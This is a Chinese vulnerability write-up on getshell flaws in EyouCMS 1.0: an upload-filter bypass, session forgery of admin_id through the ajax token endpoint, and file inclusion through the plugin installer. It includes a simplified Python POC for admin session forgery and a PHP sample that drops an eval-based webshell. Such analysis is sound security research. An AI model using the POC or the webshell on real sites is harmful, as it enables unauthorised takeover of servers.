eyoucms getshell 的详细分析和复现
字数 1670 2025-08-22 12:23:30
EyouCMS 1.0 前台Getshell漏洞分析与复现
免责声明
本文档所有安全技术内容仅供学习、研究与讨论之用,请勿用于非法用途。
漏洞概述
EyouCMS 1.0版本存在多个安全漏洞,包括:
- 前台文件上传Getshell漏洞
- Session越权漏洞
- 文件包含Getshell漏洞
漏洞一:前台文件上传Getshell
漏洞位置
application/api/controller/Uploadify.php文件中的preview函数
漏洞分析
- API使用
php://input协议接收输入 - 原本设计用于接收图片文件,通过正则限制文件后缀
- 但正则匹配存在缺陷,可被绕过写入PHP文件
漏洞利用
- 构造恶意请求,修改文件后缀为
.php - 通过编码数据写入恶意代码
API路径
未在原文中明确给出,需通过代码审计确定
修复建议
使用白名单机制限制上传文件类型
漏洞二:Session越权+文件包含Getshell
第一部分:Session越权
登录逻辑分析
位于application/admin/controller/Base.php文件
- 首先检查是否存在
admin_id:- 如果已登录,直接跳转后台
- 否则继续登录流程
- 默认开启验证码验证
- 基础检测用于存储session
- 验证账号密码
- 获取用户权限(基于
admin_info中的role_id) - 存储session参数
Session伪造方法
位于application/api/controller/Ajax.php文件中的token方法
- 需要
IS_AJAX为真(通过设置HTTP_X_REQUESTED_WITH头为xmlhttprequest) - 可设置session中的任意键值,包括
admin_id
利用步骤
- 构造请求设置
admin_id - 需要满足条件:
session('admin_id') > 0- 通过不断尝试直到获取以数字开头的hash值
- 绕过超时检测(位于
application/admin/controller/Base.php)
超时检测绕过
- 需要满足三个条件:
- session存在
- 有效的token(通过不断发包碰撞)
check_priv返回true(0 >= session('admin_info.role_id'))
POC脚本
# 示例脚本逻辑(需根据实际情况调整)
import requests
# 1. 设置admin_id
session = requests.Session()
ajax_url = "http://target.com/api/ajax/token"
headers = {
"X-Requested-With": "xmlhttprequest"
}
data = {
"name": "admin_id",
"value": "1" # 需要不断尝试直到获取有效值
}
session.post(ajax_url, headers=headers, data=data)
# 2. 访问后台
admin_url = "http://target.com/admin"
response = session.get(admin_url)
if "管理后台" in response.text:
print("成功越权进入后台")
第二部分:文件包含Getshell
漏洞位置
application/admin/controller/Weapp.php中的downloadInstall方法
漏洞分析
- 存在文件包含点
- 需要控制文件内容并触发包含
利用条件
- 绕过host检查(必须为
eyoucms.com)- 方法:在官网评论处上传文件,获取
eyoucms.com域下的文件路径
- 方法:在官网评论处上传文件,获取
- 下载并解压文件
- 包含恶意文件
利用步骤
- 在官网评论处上传恶意文件(需新用户权限)
- 获取文件路径(如
http://eyoucms.com/uploads/xxx) - 通过插件管理触发文件下载
- 服务器下载并解压文件
- 触发文件包含执行恶意代码
恶意文件示例
<?php
// 恶意代码,写入webshell
file_put_contents('shell.php', '<?php @eval($_POST["cmd"]);?>');
?>
访问路径
- 生成的shell文件路径:
/shell.php - 使用webshell管理工具连接
其他Getshell方法
原文提到存在其他Getshell方法,但未详细说明,可能包括:
- 反序列化漏洞
- 其他文件上传点
- 数据库操作导致的代码执行
参考链接
- https://www.moonsec.com/6078.html
- https://n1k0la-t.github.io/2023/01/28/EyouCMS%20v1.6.1%200day%E6%8C%96%E6%8E%98/#EyouCMS-v1-6-1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
修复建议
- 对所有上传功能实施严格的白名单验证
- 加强session管理,防止未授权修改
- 限制文件包含功能,禁用动态包含
- 更新到最新版本